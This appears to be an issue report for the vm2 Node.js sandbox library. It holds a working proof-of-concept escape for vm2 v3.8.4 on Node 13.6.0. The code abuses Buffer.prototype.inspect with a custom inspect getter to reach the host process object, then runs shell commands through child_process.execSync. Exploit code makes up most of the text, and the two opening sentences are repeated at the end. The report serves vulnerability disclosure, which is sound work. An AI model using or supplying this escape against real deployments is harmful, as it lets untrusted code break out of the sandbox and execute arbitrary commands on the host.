The following code can be used to escape the vm, and for example execute command in shell.
It has been already reported in #187 here, it still works on node 13.6.0 and vm2 v3.8.4
const {VM} = require('vm2');
const vm = new VM({
wasm: false,
timeout: 2000,
sandbox: {},
eval: false,
});
const malicious = '(' + function(){
try { require('child_process').execSync("idea") } catch(e){} // Not getting executed
let buffer = {
hexSlice: () => "",
magic: {
get [Symbol.for("nodejs.util.inspect.custom")](){
throw f => f.constructor("return process")();
}
}
};
try{
Buffer.prototype.inspect.call(buffer, 0, { customInspect: true });
}catch(e){
e(()=>0).mainModule.require('child_process').execSync("winver") // Actually opens winver
}
}+')()';
vm.run(malicious)
The following code can be used to escape the vm, and for example execute command in shell.
It has been already reported in #187 here, it still works on node 13.6.0 and vm2 v3.8.4